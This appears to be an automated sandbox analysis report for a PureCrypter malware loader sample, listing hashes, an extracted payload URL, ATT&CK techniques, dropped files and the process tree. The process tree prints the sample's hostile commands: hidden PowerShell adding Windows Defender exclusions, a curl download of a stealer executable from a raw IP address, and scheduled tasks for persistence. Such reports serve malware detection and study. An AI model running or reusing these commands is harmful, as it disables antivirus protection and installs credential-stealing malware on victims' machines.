purecrypter | c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b

Analysis

max time kernel
90s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
06-02-2023 14:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe
Size

1.3MB
MD5

f1c29ba01377c35e6f920f0aa626eaf5
SHA1

7b2c191bc2d5d549c5e65613f93d59ece1842f02
SHA256

c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b
SHA512

449a9d0ec42f83be09ef7a258f50f3d07728bb9f06361dc4aebdcbcce0ca010a3c894a5d27d98f197d6b4b85be4e3639656ae75a0216e8e169c54717ad2a85f0
SSDEEP

24576:hT+ua8m657w6ZBLmkitKqBCjC0PDgM5AVnipXD1Z+7:hcVV1BCjBG2

Score

10^/10

purecrypter downloader loader

Malware Config

Extracted

Family

purecrypter

https://cents-ability.org/loader/uploads/noicon_Ujizjydo.bmp

Signatures

PureCrypter
PureCrypter is a .NET malware loader first seen in early 2021.
loader downloader purecrypter

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	Stearler.exe

Executes dropped EXE 2 IoCs

pid	Process
3476	noicon.exe
1064	Stearler.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2884	schtasks.exe
4228	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2084	powershell.exe
2084	powershell.exe
4576	powershell.exe
4576	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3476	noicon.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3440 wrote to memory of 3476	3440	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe	81
PID 3440 wrote to memory of 3476	3440	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe	81
PID 3440 wrote to memory of 3476	3440	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe	81
PID 3440 wrote to memory of 1064	3440	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe	82
PID 3440 wrote to memory of 1064	3440	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe	82
PID 3440 wrote to memory of 1064	3440	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe	82
PID 3440 wrote to memory of 2928	3440	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe	83
PID 3440 wrote to memory of 2928	3440	c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe	83
PID 2928 wrote to memory of 2884	2928	cmd.exe	85
PID 2928 wrote to memory of 2884	2928	cmd.exe	85
PID 2928 wrote to memory of 4228	2928	cmd.exe	86
PID 2928 wrote to memory of 4228	2928	cmd.exe	86
PID 1064 wrote to memory of 208	1064	Stearler.exe	87
PID 1064 wrote to memory of 208	1064	Stearler.exe	87
PID 1064 wrote to memory of 208	1064	Stearler.exe	87
PID 208 wrote to memory of 2084	208	cmd.exe	90
PID 208 wrote to memory of 2084	208	cmd.exe	90
PID 208 wrote to memory of 2084	208	cmd.exe	90
PID 208 wrote to memory of 4576	208	cmd.exe	91
PID 208 wrote to memory of 4576	208	cmd.exe	91
PID 208 wrote to memory of 4576	208	cmd.exe	91
PID 208 wrote to memory of 744	208	cmd.exe	92
PID 208 wrote to memory of 744	208	cmd.exe	92
PID 208 wrote to memory of 744	208	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe
"C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b (1).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3440
- C:\Users\Administrator\Desktop\DROP\noicon.exe
  "C:\Users\Administrator\Desktop\DROP\noicon.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3476
- C:\Users\Administrator\Desktop\DROP\Stearler.exe
  "C:\Users\Administrator\Desktop\DROP\Stearler.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS8AA1.tmp\Testobfusc.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:208
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -w hidden -Command Add-MpPreference -ExclusionExtension ".vbs"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2084
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -w hidden -Command Add-MpPreference -ExclusionPath "C:\Users\Public\Downloads"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4576
  - - C:\Windows\SysWOW64\curl.exe
      curl http://140.82.34.147/Stealer.exe -o C:\Users\Public\Downloads\Stealer.exe
      4⤵
      PID:744
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "testM" /xml "C:\Users\Admin\AppData\Local\Temp\f1.xml"
    3⤵
    - Creates scheduled task(s)
    PID:2884
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "test" /xml "C:\Users\Admin\AppData\Local\Temp\f2.xml"
    3⤵
    - Creates scheduled task(s)
    PID:4228

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
a59da7296a11075c1c78f78de313acbf

SHA1
11b1b9f251fa70c4b6bfcca345b55282e3eb7413

SHA256
0007bc4550fc0cd1e2b739da79e06f2d3546bc23753dd4f93d33944f6d4505e4

SHA512
70f6a8d98de6759d1a8ddcd237b26fd5ad280d72e3bbdf01b7b5b2215a250600a2869fb3127ed0d2f81c62ba24b980c75857dfc435263fea1d16cc5296390ed6

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS8AA1.tmp\Testobfusc.bat

Filesize
14KB

MD5
40e65da3d99568737a62d30060539f23

SHA1
c5b616eb054a850b019da2d19e42b82575a269c1

SHA256
a9ea79963c53c3756fc752d4a2978a86de6038fc728fabc200bc87cd938406e5

SHA512
ef19c1001097545955c2d4c3de48bcda7633459577cf3f54653ae0c89fea5e61e763645bdcd2027c303522c98a02893df1f7195b3d26d38a808e7cc78a5c325d

Download Submit
C:\Users\Admin\AppData\Local\Temp\f1.xml

Filesize
1KB

MD5
d5d149b6de60fc4b8ae79a4123955efa

SHA1
9e76a623ff4999c3a0597000fc92d8c16b64b783

SHA256
381a91077f6813b09c642ecc089b362460384e19727adfcf6852121d06965cdf

SHA512
2f3c92063df61b1d3ea186763121b203839c30f2cc528fd7abf9cfffded16144edc98a2e52d331d4975c858081b8067c0ca5c028e21cb8c78cfbda0eb899aca0

Download Submit
C:\Users\Admin\AppData\Local\Temp\f2.xml

Filesize
1KB

MD5
bde3b9bcaba83190f1b8793b5997cd00

SHA1
a386e5ef10c24df4c5b667aaaadae8604d6c1efa

SHA256
756ce3e406b95d8c2a88e0a154eb0c7b12fa5f825046d400ff25ccf86dd1decc

SHA512
dae4c9a06e9ba61146ad25ff376690949d9d9a50a8be87ece4c25da63ce47c261737bff8a284e3966b38aa410dfccee8bf6bb38d024a5ac8041e8dc8b55d10cc

Download Submit
C:\Users\Administrator\Desktop\DROP\Stearler.exe

Filesize
127KB

MD5
c07c33c5e7c12107f2788280ad31c391

SHA1
8e14f012e98c39d6b20fe14a7532f299e5c001a0

SHA256
389b207183e0ea0fbc4beac9155486c5e6641d20aebd49eeaaa360dde72b7967

SHA512
8109a67532de5e35036680b66e2bdf06aa5067f1e601c4cf46f4c21721dc9dc3b2a65fcb77e01b74fa4246e1121ee058d81e8ec20c71dd8a2d906a73af88b0a1

Download Submit
C:\Users\Administrator\Desktop\DROP\Stearler.exe

Filesize
127KB

MD5
c07c33c5e7c12107f2788280ad31c391

SHA1
8e14f012e98c39d6b20fe14a7532f299e5c001a0

SHA256
389b207183e0ea0fbc4beac9155486c5e6641d20aebd49eeaaa360dde72b7967

SHA512
8109a67532de5e35036680b66e2bdf06aa5067f1e601c4cf46f4c21721dc9dc3b2a65fcb77e01b74fa4246e1121ee058d81e8ec20c71dd8a2d906a73af88b0a1

Download Submit
C:\Users\Administrator\Desktop\DROP\noicon.exe

Filesize
16.0MB

MD5
fdd4cd11d278dab26c2c8551e006c4ed

SHA1
f0ef434d38fa11f8bc38cbc90874ca582867b214

SHA256
80d4414ca76e050007cb39c7fb598e1828ad168bea5725fb5466ee9388d6fa05

SHA512
9333eaba36a12bb0ab260c553bbed6ddb872fc42b05a2cf3552702c298b3d01d653467a00caa1b5232e9a828dce3810e67e08d1f2e245e4356248bf337fb96bb

Download Submit
C:\Users\Administrator\Desktop\DROP\noicon.exe

Filesize
16.0MB

MD5
fdd4cd11d278dab26c2c8551e006c4ed

SHA1
f0ef434d38fa11f8bc38cbc90874ca582867b214

SHA256
80d4414ca76e050007cb39c7fb598e1828ad168bea5725fb5466ee9388d6fa05

SHA512
9333eaba36a12bb0ab260c553bbed6ddb872fc42b05a2cf3552702c298b3d01d653467a00caa1b5232e9a828dce3810e67e08d1f2e245e4356248bf337fb96bb

Download Submit
memory/2084-166-0x00000000079E0000-0x00000000079EE000-memory.dmp

Filesize
56KB

Download
memory/2084-168-0x0000000007A30000-0x0000000007A38000-memory.dmp

Filesize
32KB

Download
memory/2084-167-0x0000000007B00000-0x0000000007B1A000-memory.dmp

Filesize
104KB

Download
memory/2084-165-0x0000000007A40000-0x0000000007AD6000-memory.dmp

Filesize
600KB

Download
memory/2084-164-0x0000000007810000-0x000000000781A000-memory.dmp

Filesize
40KB

Download
memory/2084-163-0x00000000077B0000-0x00000000077CA000-memory.dmp

Filesize
104KB

Download
memory/2084-162-0x0000000007DF0000-0x000000000846A000-memory.dmp

Filesize
6.5MB

Download
memory/2084-161-0x0000000006A50000-0x0000000006A6E000-memory.dmp

Filesize
120KB

Download
memory/2084-153-0x0000000002B60000-0x0000000002B96000-memory.dmp

Filesize
216KB

Download
memory/2084-154-0x0000000005790000-0x0000000005DB8000-memory.dmp

Filesize
6.2MB

Download
memory/2084-155-0x0000000005600000-0x0000000005622000-memory.dmp

Filesize
136KB

Download
memory/2084-156-0x0000000005E00000-0x0000000005E66000-memory.dmp

Filesize
408KB

Download
memory/2084-157-0x0000000005E70000-0x0000000005ED6000-memory.dmp

Filesize
408KB

Download
memory/2084-158-0x00000000064B0000-0x00000000064CE000-memory.dmp

Filesize
120KB

Download
memory/2084-159-0x0000000007480000-0x00000000074B2000-memory.dmp

Filesize
200KB

Download
memory/2084-160-0x000000006F800000-0x000000006F84C000-memory.dmp

Filesize
304KB

Download
memory/3440-135-0x00007FF84FDF0000-0x00007FF8508B1000-memory.dmp

Filesize
10.8MB

Download
memory/3440-136-0x000000001C380000-0x000000001C3A2000-memory.dmp

Filesize
136KB

Download
memory/3440-144-0x00007FF84FDF0000-0x00007FF8508B1000-memory.dmp

Filesize
10.8MB

Download
memory/3440-132-0x0000000000950000-0x0000000000A98000-memory.dmp

Filesize
1.3MB

Download
memory/3440-134-0x00000000012E0000-0x00000000012FE000-memory.dmp

Filesize
120KB

Download
memory/3440-133-0x000000001C1E0000-0x000000001C256000-memory.dmp

Filesize
472KB

Download
memory/3476-148-0x0000000000CF0000-0x0000000000CF8000-memory.dmp

Filesize
32KB

Download
memory/4576-172-0x000000006F800000-0x000000006F84C000-memory.dmp

Filesize
304KB

Download